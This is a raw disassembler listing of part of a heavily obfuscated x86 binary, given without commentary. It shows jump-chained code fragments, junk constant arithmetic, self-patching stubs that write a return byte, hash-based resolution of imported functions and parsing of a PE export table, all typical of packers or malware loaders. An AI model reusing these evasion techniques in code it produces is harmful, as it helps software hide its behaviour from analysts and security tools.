; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747736


loc_74B740:				; CODE XREF: sub_747736+277Cj
		jp	loc_7567F7
		pushf
		jmp	loc_752A35
; END OF FUNCTION CHUNK	FOR sub_747736

; =============== S U B	R O U T	I N E =======================================



sub_74B74C	proc near		; CODE XREF: _0z4jwtox:007484B9j
					; sub_7475CB+1DEDp

; FUNCTION CHUNK AT 0074D8A5 SIZE 0000000F BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	ds:dword_7575C8, eax
		lea	eax, [ebp-14h]
		xor	edx, edx
		call	sub_752E0F
		jmp	loc_74D8A5
sub_74B74C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F73B


loc_74B764:				; CODE XREF: sub_74F73B:loc_75040Aj
		and	eax, 20DDD2C9h
		test	eax, 40000000h
		jmp	loc_74A5D9
; END OF FUNCTION CHUNK	FOR sub_74F73B
; ---------------------------------------------------------------------------
		ror	ebp, 19h
		jmp	sub_755915
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F7B1


loc_74B77D:				; CODE XREF: sub_74F7B1:loc_748A7Dj
		pop	eax
		rol	eax, 0Ch
		xor	eax, 3AD23C26h
		add	eax, 2380B26Fh
		xchg	eax, [esp+0]
		jmp	sub_74A96E
; END OF FUNCTION CHUNK	FOR sub_74F7B1
; ---------------------------------------------------------------------------


loc_74B795:				; CODE XREF: _0z4jwtox:loc_74A817j
		add	ecx, ebx
		xor	edi, ebx
		rol	eax, 11h
		jmp	loc_755452
; ---------------------------------------------------------------------------


loc_74B7A1:				; CODE XREF: _0z4jwtox:loc_754873j
					; DATA XREF: sub_7462C2+C944o
		movzx	eax, word ptr [eax]
		shl	eax, 2
		push	92EC04BDh
		pop	edx
		and	edx, 0B0F091A2h
		rol	edx, 0Bh
		jmp	loc_745724
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74E58E


loc_74B7BB:				; CODE XREF: sub_74E58E-2BD3j
		jnz	loc_745E1D


loc_74B7C1:				; CODE XREF: sub_755C38-C711j
					; sub_748FA4:loc_749AD6j
		jmp	nullsub_7
; END OF FUNCTION CHUNK	FOR sub_74E58E
; ---------------------------------------------------------------------------
		adc	ebp, edi
		jnz	loc_74E2F6
		jmp	loc_745E16
; ---------------------------------------------------------------------------


loc_74B7D3:				; CODE XREF: _0z4jwtox:00750A9Dj
		test	ecx, ebx
		jmp	loc_745435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_756496


loc_74B7DA:				; CODE XREF: sub_756496:loc_75671Aj
		pop	edx
		cmp	eax, edi
		jmp	loc_753B15
; END OF FUNCTION CHUNK	FOR sub_756496
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C670


loc_74B7E2:				; CODE XREF: sub_74C670-7608j
		push	eax
		mov	eax, esi
		xchg	eax, [esp+0]
		mov	esi, edx
		call	sub_74C68A


loc_74B7EF:				; CODE XREF: sub_748E1D+1D7j
		jmp	loc_754D71
; END OF FUNCTION CHUNK	FOR sub_74C670
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_74B7F4:				; CODE XREF: sub_747C22+7108j
		jnp	loc_747B69


loc_74B7FA:				; CODE XREF: sub_747C22:loc_748096j
					; sub_747C22+F68Bj
		add	dword ptr [ebp-4], 8
		jmp	loc_756B4E
; ---------------------------------------------------------------------------


loc_74B803:				; CODE XREF: sub_747C22+1B3j
					; sub_747C22+C209j
		mov	eax, [ebp-24h]
		mov	eax, [eax+4]
		jmp	loc_745148
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7541CF


loc_74B80E:				; CODE XREF: sub_7541CF:loc_7541E0j
		mov	eax, [ebx]
		neg	eax
		cmp	ax, 0A5B3h
		jnz	loc_754234
		retn
; END OF FUNCTION CHUNK	FOR sub_7541CF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_753D0E


loc_74B81D:				; CODE XREF: sub_753D0E-9622j
		jmp	sub_752E0F
; END OF FUNCTION CHUNK	FOR sub_753D0E

; =============== S U B	R O U T	I N E =======================================



sub_74B822	proc near		; CODE XREF: sub_754729+Ep

; FUNCTION CHUNK AT 00747F19 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00748A01 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00748B24 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00750CAF SIZE 00000013 BYTES

		mov	eax, large fs:0


loc_74B829:				; CODE XREF: sub_74B822-3901j
					; sub_74B822+5495j
		jz	loc_750CAF
		jmp	loc_748B24
sub_74B822	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74946E


loc_74B834:				; CODE XREF: sub_74946E+73EDj
		shr	edx, 10h


loc_74B837:				; CODE XREF: sub_74946E+73DAj
		xor	eax, 2648BF4Eh
		or	eax, 0BA49DE88h
		add	eax, 4D4302F7h
		jmp	loc_74E147
; END OF FUNCTION CHUNK	FOR sub_74946E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_754C68


loc_74B84E:				; CODE XREF: sub_754C68:loc_74A471j
		mov	eax, 19ADF9DDh
		call	sub_746E93
		mov	ds:off_41F00C, eax
		lea	eax, sub_754C68
		mov	byte ptr [eax],	0C3h
		jmp	sub_754C68
; ---------------------------------------------------------------------------


loc_74B86C:				; CODE XREF: sub_754C68+6j
		mov	eax, [esp+0]
		push	edx
		call	sub_74A3AB
		jmp	loc_752086
; END OF FUNCTION CHUNK	FOR sub_754C68
; ---------------------------------------------------------------------------
		push	3D2F03B7h
		xchg	ecx, [esp]
		mov	eax, ecx
		pop	ecx
		and	eax, 0A232088h
		rol	eax, 18h
		and	eax, 0FB3109D7h
		jmp	loc_756C3F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_753FCE


loc_74B899:				; CODE XREF: sub_753FCE-A157j
		adc	edi, 77970816h
		and	eax, 73A806D9h
		xor	esi, 599F0A6Ah
		jmp	loc_7526C4
; END OF FUNCTION CHUNK	FOR sub_753FCE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74BF3A


loc_74B8B0:				; CODE XREF: sub_74BF3A+9B0Dj
		jnz	loc_75237C
		jmp	loc_749601
; END OF FUNCTION CHUNK	FOR sub_74BF3A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_754729


loc_74B8BB:				; CODE XREF: sub_754729:loc_754B5Cj
		mov	ecx, [ebx+3Ch]
		mov	ecx, [ebx+ecx+78h]
		or	ecx, ecx
		jz	loc_75237C
		mov	ecx, [ebx+ecx+0Ch]
		or	ecx, ecx
		jmp	loc_752D7E
; END OF FUNCTION CHUNK	FOR sub_754729
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7571A1


loc_74B8D5:				; CODE XREF: sub_7571A1-714Ej
		pop	ebx
		and	ebx, 0A7EF726Ah
		sub	ebx, 9881E531h
		add	ebx, 0F4122D65h
		xchg	ebx, [esp+0]
		jmp	sub_74FACE
; END OF FUNCTION CHUNK	FOR sub_7571A1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752F76


loc_74B8F0:				; CODE XREF: sub_752F76:loc_757597j
		xchg	ebx, [esp+4+var_4]
		mov	ebp, esp
		push	ecx
		push	offset loc_756609
		jmp	loc_752355
; END OF FUNCTION CHUNK	FOR sub_752F76
; ---------------------------------------------------------------------------

locret_74B900:				; CODE XREF: _0z4jwtox:0074924Fj
		retn
; ---------------------------------------------------------------------------


loc_74B901:				; CODE XREF: _0z4jwtox:00752461j
		jmp	nullsub_184
; ---------------------------------------------------------------------------


loc_74B906:				; CODE XREF: _0z4jwtox:0074CCA5j
		jmp	locret_756719
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_215. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74FE55


loc_74B90C:				; CODE XREF: sub_74FE55:loc_749083j
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_750861
		jmp	loc_74771B
; END OF FUNCTION CHUNK	FOR sub_74FE55
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74673E


loc_74B91B:				; CODE XREF: sub_74673E:loc_749CBCj
		mov	eax, [ebp-8]
		mov	byte ptr [eax],	0
		mov	esp, ebp
		call	sub_746A33
; END OF FUNCTION CHUNK	FOR sub_74673E

; =============== S U B	R O U T	I N E =======================================



sub_74B928	proc near		; CODE XREF: _0z4jwtox:0074617Ej
					; sub_74B042+C6E6p
		xchg	eax, [esp+0]
		pop	eax
		push	ecx
		push	0C7040F0Eh
		pop	ecx
		jmp	loc_746AB4
sub_74B928	endp

; ---------------------------------------------------------------------------
dword_74B938	dd 144650h						; sub_746ED2+13r ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A8D1


loc_74B93C:				; CODE XREF: sub_74A8D1+C0CDj
		jmp	loc_74636D
; END OF FUNCTION CHUNK	FOR sub_74A8D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7465D2


loc_74B941:				; CODE XREF: sub_7465D2+D182j
		jmp	loc_74A2E7
; END OF FUNCTION CHUNK	FOR sub_7465D2
; ---------------------------------------------------------------------------
		dw 0FB32h
dword_74B948	dd 7F8CBE40h						; sub_75579C+9w
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_757314


loc_74B94C:				; CODE XREF: sub_757314+1Dj
		jmp	loc_7481A8
; END OF FUNCTION CHUNK	FOR sub_757314
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7510E4


loc_74B951:				; CODE XREF: sub_7510E4+1j
		jmp	loc_756A8E
; END OF FUNCTION CHUNK	FOR sub_7510E4
; ---------------------------------------------------------------------------
		dw 8391h
dword_74B958	dd 0A5AF901Fh						; sub_75143A+1B49r
off_74B95C	dd offset off_41F000	; DATA XREF: sub_74D782:loc_745DF0o
		dd 6Ah,	1ACh, 10h, 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7557E7


loc_74B974:				; CODE XREF: _0z4jwtox:0074D69Ej
					; sub_7557E7-5E45j
		xor	eax, 0C7B1EB22h
		call	sub_746E93
		push	ecx
		push	9A4A33B1h
		xchg	ebp, [esp+8+var_8]
		mov	ecx, ebp
		jmp	loc_7509EF
; END OF FUNCTION CHUNK	FOR sub_7557E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747A67


loc_74B98F:				; CODE XREF: sub_747A67-181j
		push	4D0C27BEh
		pop	esi
		or	esi, 456320C4h
		sub	esi, 37CCD747h
		rol	esi, 18h
		jmp	loc_753140
; END OF FUNCTION CHUNK	FOR sub_747A67
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74E58E


loc_74B9A9:				; CODE XREF: sub_74E58E+10j
		xor	edi, 2FB880B6h
		add	edi, 0A09E782Ah
		test	edi, 40000000h
		jmp	loc_74B7BB
; END OF FUNCTION CHUNK	FOR sub_74E58E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_754E36


loc_74B9C0:				; CODE XREF: sub_754E36:loc_74A284j
		call	sub_74BA04


loc_74B9C5:				; CODE XREF: sub_7578F4-1C51j
		jmp	loc_745F27
; END OF FUNCTION CHUNK	FOR sub_754E36
; ---------------------------------------------------------------------------


loc_74B9CA:				; CODE XREF: _0z4jwtox:00753E22j
		jmp	loc_752A21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75299B


loc_74B9CF:				; CODE XREF: sub_75299B-AA98j
					; sub_75299B:loc_7487F2j
		push	3E7C2226h
		pop	eax
		and	eax, 0DC15CEAEh
		push	offset sub_74C8DA
		jmp	nullsub_95
; END OF FUNCTION CHUNK	FOR sub_75299B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7570CA


loc_74B9E5:				; CODE XREF: sub_7570CA:loc_747E9Bj
		jl	loc_74A4C9
; END OF FUNCTION CHUNK	FOR sub_7570CA
; START	OF FUNCTION CHUNK FOR sub_74B719


loc_74B9EB:				; CODE XREF: sub_74B719+13j
		jmp	loc_74DE2C
; END OF FUNCTION CHUNK	FOR sub_74B719
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D23E


loc_74B9F0:				; CODE XREF: sub_74D23E-731Cj
		jmp	nullsub_87
; END OF FUNCTION CHUNK	FOR sub_74D23E
; ---------------------------------------------------------------------------
		shl	ebx, 1Dh
		shr	eax, 1Fh
		not	ecx
		jmp	loc_74A4C9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746640


loc_74BA02:				; CODE XREF: sub_746640+F7EEj
		xchg	esi, ebx
; END OF FUNCTION CHUNK	FOR sub_746640

; =============== S U B	R O U T	I N E =======================================



sub_74BA04	proc near		; CODE XREF: sub_754E36:loc_74B9C0p

; FUNCTION CHUNK AT 00748984 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 007510D4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0075640C SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00756A0F SIZE 00000026 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		mov	ebp, esp
		push	ebx
		mov	ebx, ecx
		xchg	ebx, [esp+0]
		mov	[ebp-4], eax
		jmp	loc_75640C
sub_74BA04	endp

; ---------------------------------------------------------------------------


loc_74BA18:				; CODE XREF: _0z4jwtox:00753466j
		mov	[esi], ebp

; =============== S U B	R O U T	I N E =======================================



sub_74BA1A	proc near		; CODE XREF: sub_7570E0-8062p
		xchg	ecx, [esp+0]
		pop	ecx
		mov	ds:dword_751620, eax

locret_74BA23:				; CODE XREF: sub_74B091+62CCj
		retn
sub_74BA1A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7457DD


loc_74BA24:				; CODE XREF: sub_7457DD+4A60j
		jmp	loc_7515CD
; END OF FUNCTION CHUNK	FOR sub_7457DD

; =============== S U B	R O U T	I N E =======================================



sub_74BA29	proc near		; CODE XREF: sub_755B5B-79D5p
					; sub_7570E0:loc_74F079p ...

; FUNCTION CHUNK AT 00750931 SIZE 0000001B BYTES

		push	ebp
		jmp	loc_750931
sub_74BA29	endp


; =============== S U B	R O U T	I N E =======================================



sub_74BA2F	proc near		; CODE XREF: _0z4jwtox:00745E69j
					; sub_749608:loc_75073Bp

; FUNCTION CHUNK AT 0074EB7C SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0074FE05 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00756482 SIZE 00000006 BYTES

		xchg	esi, [esp+0]
		pop	esi
		add	esi, ebp
		add	esi, 9A087048h
		mov	esi, [esi]
		jmp	loc_74FE05
sub_74BA2F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_74BA42	proc near		; CODE XREF: _0z4jwtox:00745603j
					; _0z4jwtox:loc_748DE6p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00745A0B SIZE 00000014 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		mov	eax, [esp+0]
		push	edi
		mov	edi, edx
		xchg	edi, [esp+0]
		jmp	loc_745A0B
sub_74BA42	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	[ebp+0], esi
		push	edi
		jmp	sub_747820
; ---------------------------------------------------------------------------
		shl	esi, 5
		sbb	esi, eax
		jmp	sub_747C72
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747736


loc_74BA67:				; CODE XREF: sub_747736:loc_746F6Aj
		jnz	loc_74B731
		mov	eax, [ebp+8]
		push	eax
		cmp	dword ptr [ebp-14h], 6
		setz	al
		call	sub_7452F3
		pop	ecx
		jmp	loc_749B60
; ---------------------------------------------------------------------------


loc_74BA83:				; CODE XREF: sub_747736:loc_74782Dj
		cmp	dword ptr [ebp-10h], 0
		jmp	loc_74F477
; END OF FUNCTION CHUNK	FOR sub_747736
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_178. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74AAC1


loc_74BA8D:				; CODE XREF: sub_74AAC1+5875j
		jmp	loc_752C5B
; END OF FUNCTION CHUNK	FOR sub_74AAC1

; =============== S U B	R O U T	I N E =======================================



sub_74BA92	proc near		; CODE XREF: _0z4jwtox:loc_7534E8j
					; DATA XREF: sub_754175-C97o

; FUNCTION CHUNK AT 007469E5 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00747CFA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00749A2F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074CEA3 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0075594A SIZE 00000015 BYTES

		push	734663D2h
		pop	eax
		and	eax, 8CFE57ECh
		cmp	eax, 653C04B4h


loc_74BAA4:				; CODE XREF: _0z4jwtox:loc_746813j
		jmp	loc_747CFA
sub_74BA92	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_127. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_74BAAA:				; CODE XREF: _0z4jwtox:00752C89j
		jmp	locret_7496A1
; ---------------------------------------------------------------------------


loc_74BAAF:				; DATA XREF: _0z4jwtox:loc_749995o
		call	sub_746E93
		push	ecx
		push	offset loc_7478F1
		jmp	loc_74596E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_247. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_753176


loc_74BAC0:				; CODE XREF: sub_753176:loc_74D3CEj
		cdq
		test	ebx, esi
		jmp	loc_750DFF
; END OF FUNCTION CHUNK	FOR sub_753176
; ---------------------------------------------------------------------------


loc_74BAC8:				; CODE XREF: _0z4jwtox:0074A467j
		ja	loc_7467C5

; =============== S U B	R O U T	I N E =======================================



sub_74BACE	proc near		; CODE XREF: sub_7565EF-521p

; FUNCTION CHUNK AT 007481B4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00748C76 SIZE 00000015 BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	ecx
		push	0A4599B08h
		adc	ecx, edx
		jmp	loc_7481B4
sub_74BACE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747736


loc_74BADF:				; CODE XREF: sub_747736:loc_74D0BCj
		xor	eax, 0A9C16275h
		add	eax, 0D05B4F06h
		call	sub_755501
; END OF FUNCTION CHUNK	FOR sub_747736
; START	OF FUNCTION CHUNK FOR sub_74AE46


loc_74BAF0:				; CODE XREF: sub_74AE46+962Cj
		jmp	loc_747477
; END OF FUNCTION CHUNK	FOR sub_74AE46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_750243


loc_74BAF5:				; CODE XREF: sub_750243+3805j
		jmp	nullsub_117
; END OF FUNCTION CHUNK	FOR sub_750243
; ---------------------------------------------------------------------------


loc_74BAFA:				; CODE XREF: _0z4jwtox:00750E7Cj
		jmp	loc_745794
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74ECEF


loc_74BAFF:				; CODE XREF: sub_74ECEF-3CECj
		jmp	loc_748374
; END OF FUNCTION CHUNK	FOR sub_74ECEF
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_266. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74EA54


loc_74BB05:				; CODE XREF: sub_74EA54+7j
		jmp	loc_74D6A3
; END OF FUNCTION CHUNK	FOR sub_74EA54
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75275A


loc_74BB0A:				; CODE XREF: sub_75275A-C869j
		jmp	loc_74DB30
; END OF FUNCTION CHUNK	FOR sub_75275A
; ---------------------------------------------------------------------------


loc_74BB0F:				; DATA XREF: sub_7543C5-D74Bo
		mov	byte ptr [eax],	0C3h
		jmp	loc_74B4DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C0C


loc_74BB17:				; CODE XREF: sub_747C0C:loc_74B4DCj
		pop	edx
		call	sub_74C4BB
		sub	eax, 116A53F2h
		jmp	loc_7501AD
; END OF FUNCTION CHUNK	FOR sub_747C0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7523A2


loc_74BB28:				; CODE XREF: sub_7523A2+41C9j
		mov	byte ptr [eax],	0C3h
		jmp	loc_74BBB9
; ---------------------------------------------------------------------------


loc_74BB30:				; CODE XREF: sub_7523A2:loc_756546j
		mov	eax, [esp+4+var_4]
		push	ebx
		mov	ebx, edx
		xchg	ebx, [esp+0]
		jmp	loc_7496E7
; END OF FUNCTION CHUNK	FOR sub_7523A2
; ---------------------------------------------------------------------------


loc_74BB3E:				; CODE XREF: sub_7460F1+19D1j
		mov	edi, edx
		xchg	edi, [esp]
		push	esi
		push	0A69B8D5Dh
		pop	esi
		rol	esi, 1Eh
		test	esi, 1000000h
		jmp	loc_753371
; ---------------------------------------------------------------------------


loc_74BB58:				; DATA XREF: sub_750291+42C9o
		add	eax, 4F55F5h
		xchg	eax, [esp]
		jmp	loc_750069
; ---------------------------------------------------------------------------
		call	nullsub_12
		jmp	ds:dword_41F144
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_745911


loc_74BB71:				; CODE XREF: sub_745911+23D1j
		jmp	loc_750960
; END OF FUNCTION CHUNK	FOR sub_745911
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_12. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		jnb	loc_7561C9
		jmp	loc_75511C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F78B


loc_74BB82:				; CODE XREF: sub_74F78B-1ADDj
		mov	ebx, ebp
		pop	ebp
		mov	eax, [esp-4+arg_0]
		push	edx
		call	sub_74FACE
		mov	eax, 87EB6097h
		jmp	loc_746F75
; END OF FUNCTION CHUNK	FOR sub_74F78B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D23E


loc_74BB98:				; CODE XREF: sub_74D23E:loc_753533j
		test	esi, 759896F6h
		jmp	loc_755E72
; END OF FUNCTION CHUNK	FOR sub_74D23E
; ---------------------------------------------------------------------------
		push	54E20D33h
		pop	eax
		sub	eax, 6237363h
		call	sub_74C074
; START	OF FUNCTION CHUNK FOR sub_746640


loc_74BBB4:				; CODE XREF: sub_746640:loc_756367j
		jmp	loc_7578C2
; END OF FUNCTION CHUNK	FOR sub_746640
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7523A2


loc_74BBB9:				; CODE XREF: sub_7523A2-6877j
		jmp	sub_7523A2
; END OF FUNCTION CHUNK	FOR sub_7523A2
; ---------------------------------------------------------------------------
		jbe	loc_7485C6
		jmp	sub_755F77
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749608


loc_74BBC9:				; CODE XREF: sub_749608+Bj
		add	eax, 9DC4FAC7h
		add	eax, 623B055Dh
		mov	eax, [eax]
		popf
		push	esi
		push	31309FDAh
		xchg	edi, [esp+8+var_8]
		jmp	loc_74C5BA
; END OF FUNCTION CHUNK	FOR sub_749608
; ---------------------------------------------------------------------------
		test	ebp, edi
		jmp	loc_74F58E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75121F


loc_74BBED:				; CODE XREF: sub_75121F+Aj
		mov	ecx, 8
		sub	ecx, eax
		xor	eax, eax
		mov	al, [ebp-9]
		shl	eax, cl
		mov	cl, [ebp-0Bh]
		jmp	loc_746903
; END OF FUNCTION CHUNK	FOR sub_75121F
; ---------------------------------------------------------------------------
		cmp	edx, ecx
		jmp	loc_7455F7
; ---------------------------------------------------------------------------


loc_74BC0A:				; CODE XREF: _0z4jwtox:loc_74FDFFj
					; DATA XREF: sub_756FF2:loc_74FDF5o
		mov	eax, [esp]
		push	edx
		call	sub_750C4E
		mov	eax, 0B88FF16Dh
		call	sub_746E93
		mov	ds:off_41F064, eax
		lea	eax, sub_756FF2
		jmp	loc_752724
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746640


loc_74BC2E:				; CODE XREF: sub_746640:loc_75410Bj
					; sub_746640+10B3Ej
		movzx	eax, word ptr [ebp-6]


loc_74BC32:				; CODE XREF: _0z4jwtox:loc_755CE0j
		push	0B7DC0357h
		pop	edx
		xor	edx, 732748F8h
		jmp	loc_7544FE
; END OF FUNCTION CHUNK	FOR sub_746640
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7574E3


loc_74BC43:				; CODE XREF: sub_7574E3:loc_74A503j
		mov	eax, [esp+0]
		push	edx
		call	sub_753D0E
		push	5A620623h
		pop	eax
		sub	eax, 5F2412A4h
		jmp	loc_74F29A
; END OF FUNCTION CHUNK	FOR sub_7574E3
; ---------------------------------------------------------------------------
		mov	eax, 99B20D50h
		push	offset sub_74CF91
		jmp	loc_751610
; ---------------------------------------------------------------------------
		xor	edx, ecx
		jmp	loc_7562F1

; =============== S U B	R O U T	I N E =======================================



sub_74BC73	proc near		; CODE XREF: sub_745685+Dj

; FUNCTION CHUNK AT 007485A2 SIZE 00000005 BYTES

		push	ebx
		pop	eax
		pop	ebx
		mov	ds:dword_746E84, edx


loc_74BC7C:				; CODE XREF: _0z4jwtox:0074DCC1j
					; _0z4jwtox:00755B7Ej
		xchg	eax, edx
		call	sub_74B525
		jmp	loc_7485A2
sub_74BC73	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_158. PRESS KEYPAD	"+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_194. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		xchg	eax, edi
		jmp	loc_74E202
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_297. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D782


loc_74BC91:				; CODE XREF: sub_74D782-4880j
		jmp	loc_749679
; END OF FUNCTION CHUNK	FOR sub_74D782
; ---------------------------------------------------------------------------
		push	edx
		push	0D88C1B14h
		pop	edx
		add	edx, 883F32A9h
		xor	edx, 0C6893E1Ch
		and	edx, 0E69B6ECEh
		xor	edx, 59FD9D7Fh
		jmp	loc_74E54B
; ---------------------------------------------------------------------------


loc_74BCBA:				; DATA XREF: sub_74780A+Co
		mov	eax, [eax]
		mov	byte ptr [eax],	6Ch
		inc	dword ptr [ebp-28h]
		mov	eax, [ebp-28h]
		mov	byte ptr [eax],	6Ch
		inc	dword ptr [ebp-28h]
		mov	eax, [ebp-28h]
		jmp	loc_746008
; ---------------------------------------------------------------------------
		or	eax, 58640B59h
		jmp	sub_74D4C5
; ---------------------------------------------------------------------------
		popf
		jmp	loc_74C731
; ---------------------------------------------------------------------------


loc_74BCE4:				; DATA XREF: sub_74F688+6DBDo
		xchg	eax, [esp]
		jmp	loc_752B40
; ---------------------------------------------------------------------------


loc_74BCEC:				; CODE XREF: _0z4jwtox:loc_74A3A6j
		jz	loc_74EE3E
		jmp	loc_74EDD7

; =============== S U B	R O U T	I N E =======================================



sub_74BCF7	proc near		; CODE XREF: _0z4jwtox:00747F4Dj
					; _0z4jwtox:00749DFBp

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0074E80C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007537AC SIZE 0000000F BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	edx
		push	eax
		jmp	loc_7537AC
sub_74BCF7	endp

; ---------------------------------------------------------------------------
		mov	ds:off_41F198, eax
		lea	eax, loc_749785
		mov	byte ptr [eax],	0C3h
		jmp	loc_749785

; =============== S U B	R O U T	I N E =======================================



sub_74BD16	proc near		; CODE XREF: sub_41AE3D+11Fp
					; sub_74BD16+5j
					; DATA XREF: ...
		call	sub_74BD26
		jmp	ds:off_41F19C
sub_74BD16	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A63F


loc_74BD21:				; CODE XREF: sub_74A63F+13j
		jmp	loc_7544A8
; END OF FUNCTION CHUNK	FOR sub_74A63F

; =============== S U B	R O U T	I N E =======================================



sub_74BD26	proc near		; CODE XREF: sub_74BD16p
					; sub_7554BB-72D6j ...

arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0074AD87 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00754A38 SIZE 00000005 BYTES

		jnb	loc_74AD87
		pop	edx
		mov	eax, [esp+0]
		jmp	loc_754A38
sub_74BD26	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_74BD35:				; CODE XREF: _0z4jwtox:0075556Aj
		adc	esi, edi
		xchg	eax, edi


loc_74BD39:				; CODE XREF: _0z4jwtox:loc_75555Cj
		rol	eax, 1Dh
		add	eax, 0E050C60Eh
		jmp	loc_755D81
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_54. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_74BD48:				; CODE XREF: _0z4jwtox:0074A178j
		jmp	locret_7553B4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747A67


loc_74BD4D:				; CODE XREF: sub_747A67+2EEDj
		xor	eax, ebx
